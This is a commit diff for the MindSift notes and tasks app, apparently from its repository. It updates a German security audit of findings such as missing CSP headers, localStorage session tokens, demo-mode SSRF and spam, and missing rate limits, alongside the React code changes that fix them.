- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
@@ -43,56 +45,68 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
### FLAW-33: Demo-Admin darf Server-Einstellungen ändern
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt.
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
### FLAW-41: Sehr große Frontend-Dateien
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
@@ -128,7 +142,6 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
+1 -1
View File
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
## Sitzungen und Zugriff
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
- Bekannte Lücken in der Zugriffskontrolle:.
+2 -1
View File
@@ -168,7 +168,8 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
---
+1 -18
View File
@@ -40,14 +40,7 @@
<link rel="manifest" href="/manifest.json" />
<title>MindSift</title>
<script>
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
</script>
<script src="/pwa-install.js"></script>
</head>
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
@@ -58,15 +51,5 @@
</div>
</div>
<script type="module" src="/src/main.tsx"></script>
<script>
if ('caches' in window) {
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
}
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
</script>
</body>
</html>
+2 -2
View File
@@ -1,12 +1,12 @@
{
"name": "mindsift-frontend",
"version": "0.5.2",
"version": "0.6.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "mindsift-frontend",
"version": "0.5.2",
"version": "0.6.0",
"license": "Unlicense",
"dependencies": {
"@types/prismjs": "^1.26.6",
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "mindsift-frontend",
"private": true,
"version": "0.5.2",
"version": "0.6.0",
"license": "Unlicense",
"type": "module",
"scripts": {
+8
View File
@@ -0,0 +1,8 @@
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
+3 -2
View File
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
import { api } from '../lib/api';
import { MarkdownViewer } from '../lib/markdown';
import { ReadingModal } from './ReadingModal';
import { safeHref } from '../lib/safeUrl';
type LegalType = 'imprint' | 'privacy';
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
return (
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
{entries.map((e) =>
e.url ? (
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
e.url && safeHref(e.url) ? (
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
{TITLES[e.type]}
</a>
) : (
@@ -1,4 +1,4 @@
import React, { useEffect, useRef, useState } from 'react';
import React, { useEffect, useRef, useState, useMemo } from 'react';
import {
Mic,
MicOff,
@@ -38,6 +38,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
hideTargetPicker = false,
fixedTarget,
}) => {
// Read-only shared lists cannot take new items; stable reference for the effect below
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
const [content, setContent] = useState('');
const [priority, setPriority] = useState<PriorityLevel>('normal');
const [dueDate, setDueDate] = useState('');
@@ -77,10 +79,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, [autoFocusTrigger]);
useEffect(() => {
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
}
}, [lists, targetListId]);
}, [writableLists, targetListId]);
// Close dropdown on outside click
useEffect(() => {
@@ -180,7 +182,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
const effectiveTarget = fixedTarget || overrideTarget || target;
const effectiveListId =
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
const capturedPriority = priority;
const capturedDueDate = dueDate;
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
@@ -236,7 +238,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
await executeCapture();
};
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
const getTargetLabel = () => {
if (target === 'task') return 'Direkt-Aufgabe';
@@ -449,8 +451,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('list_item');
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
@@ -485,13 +487,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</div>
{/* Optional Sub-Row: Shared List Picker */}
{lists.length > 0 && (
{writableLists.length > 0 && (
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
<span className="text-muted mr-1 flex items-center gap-1">
<ShoppingCart className="w-3 h-3 text-accent" />
Liste:
</span>
{lists.map((lst) => {
{writableLists.map((lst) => {
const isSelected = target === 'list_item' && targetListId === lst.id;
return (
<button
@@ -1123,6 +1123,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
<input
type="text"
inputMode="decimal"
value={newItemQty}
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
placeholder="Menge (z.B. 2)"
@@ -146,8 +146,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
}
};
// Read-only in the public demo (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
useEffect(() => {
loadAll();
api
.getAuthStatus()
.then((st) => setDemoMode(Boolean(st.demoMode)))
.catch(() => {});
}, []);
// ============================================================================
@@ -519,6 +525,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* Right Content Area */}
<div className="md:col-span-3 panel-surface p-5 text-xs">
{demoMode && (
<div className="flex items-center gap-2 alert-err mb-4">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
ansehen.
</span>
</div>
)}
{/* ================================================================= */}
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
{/* ================================================================= */}
@@ -1013,6 +1028,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'server' && isServerAdmin && (
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3">
<h2 className="text-sm font-bold text-main">
@@ -1138,12 +1154,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
</div>
</div>
</div>
</fieldset>
)}
{/* ================================================================= */}
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'smtp' && isServerAdmin && (
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div>
@@ -1221,7 +1239,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder="••••••••••••"
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
autoComplete="new-password"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
@@ -1307,6 +1326,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
</div>
</div>
</div>
</fieldset>
)}
</div>
</div>
@@ -0,0 +1,110 @@
import { useEffect, useState } from 'react';
import { LogOut, Monitor, Smartphone } from 'lucide-react';
import { api } from '../../lib/api';
import { Session } from '../../lib/types';
// Rough device label from the user agent; good enough to tell one's own devices apart
export function describeDevice(ua: string): { label: string; mobile: boolean } {
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
const browser = /Edg\//.test(ua)
? 'Edge'
: /Firefox\//.test(ua)
? 'Firefox'
: /Chrome\//.test(ua)
? 'Chrome'
: /Safari\//.test(ua)
? 'Safari'
: 'Browser';
const os = /Android/.test(ua)
? 'Android'
: /iPhone|iPad/.test(ua)
? 'iOS'
: /Windows/.test(ua)
? 'Windows'
: /Mac OS X/.test(ua)
? 'macOS'
: /Linux/.test(ua)
? 'Linux'
: '';
return { label: os ? `${browser} auf ${os}` : browser, mobile };
}
function formatLastUsed(iso: string): string {
const d = new Date(iso);
if (isNaN(d.getTime())) return '';
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
if (minutes < 10) return 'gerade aktiv';
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
}
export function SessionsPanel() {
const [sessions, setSessions] = useState<Session[] | null>(null);
const [error, setError] = useState('');
const [ending, setEnding] = useState('');
const load = async () => {
try {
const list = await api.listSessions();
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
setError('');
} catch (err: any) {
setError(err.message || 'Sitzungen konnten nicht geladen werden');
}
};
useEffect(() => {
void load();
}, []);
const endSession = async (id: string) => {
setEnding(id);
try {
await api.endSession(id);
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
} catch (err: any) {
setError(err.message || 'Sitzung konnte nicht beendet werden');
} finally {
setEnding('');
}
};
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
return (
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
{sessions.map((s) => {
const device = describeDevice(s.userAgent);
const Icon = device.mobile ? Smartphone : Monitor;
return (
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
<Icon size={16} className="text-muted shrink-0" />
<div className="min-w-0 flex-1">
<p className="font-semibold text-main truncate">
{device.label}
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
</p>
<p className="text-[11px] text-faint truncate">
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
</p>
</div>
{!s.current && (
<button
type="button"
onClick={() => endSession(s.id)}
disabled={ending === s.id}
title="Dieses Gerät abmelden"
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
>
<LogOut size={13} />
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
</button>
)}
</li>
);
})}
</ul>
);
}
@@ -29,6 +29,7 @@ import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
import { LegalLinks } from '../../components/LegalLinks';
import { AboutModal } from '../../components/AboutModal';
import { ImportCard } from './ImportCard';
import { SessionsPanel } from './SessionsPanel';
import { FormSheet } from '../../components/FormSheet';
interface UserSettingsViewProps {
@@ -96,8 +97,16 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
const [showAbout, setShowAbout] = useState(false);
// The public demo sends nothing and keeps the shared accounts intact (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
useEffect(() => {
api.getAuthStatus().then((st) => setLegal(st.legal)).catch(() => {});
api
.getAuthStatus()
.then((st) => {
setLegal(st.legal);
setDemoMode(Boolean(st.demoMode));
})
.catch(() => {});
}, []);
// --- Custom Theme Editor State ---
@@ -188,6 +197,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
const [email, setEmail] = useState(currentUser.email || '');
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
const [newPassword, setNewPassword] = useState('');
const [currentPassword, setCurrentPassword] = useState('');
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
const [savingProfile, setSavingProfile] = useState(false);
const [revokingSessions, setRevokingSessions] = useState(false);
@@ -253,6 +263,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
triggerHaptic(10);
};
// Changing the password or the login address needs the current password (FLAW-30)
const needsCurrentPassword =
newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase();
// --- Handlers: Profile ---
const handleSaveProfile = async (e: React.FormEvent) => {
e.preventDefault();
@@ -273,9 +287,11 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
// Not trimmed: login compares the password exactly as typed
patch.password = newPassword;
}
if (needsCurrentPassword) patch.currentPassword = currentPassword;
const updated = await api.updateSettings(patch);
onUserUpdated(updated);
setNewPassword('');
setCurrentPassword('');
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
} catch (err: any) {
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
@@ -620,7 +636,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
value={email}
onChange={(e) => setEmail(e.target.value)}
required
className="w-full h-9 px-3 input-field"
disabled={demoMode}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
className="w-full h-9 px-3 input-field disabled:opacity-60"
/>
</div>
</div>
@@ -633,10 +651,28 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
type="password"
value={newPassword}
onChange={(e) => setNewPassword(e.target.value)}
placeholder="Mindestens 8 Zeichen"
placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'}
autoComplete="new-password"
disabled={demoMode}
className="w-full h-9 px-3 input-field disabled:opacity-60"
/>
</div>
{needsCurrentPassword && (
<div>
<label className="block text-muted font-medium mb-1">
Aktuelles Passwort (zur Bestätigung)
</label>
<input
type="password"
value={currentPassword}
onChange={(e) => setCurrentPassword(e.target.value)}
required
autoComplete="current-password"
className="w-full h-9 px-3 input-field"
/>
</div>
)}
<div className="pt-2 border-t border-border flex justify-end">
<button
@@ -654,9 +690,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<div>
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
<p className="text-[11px] text-muted">
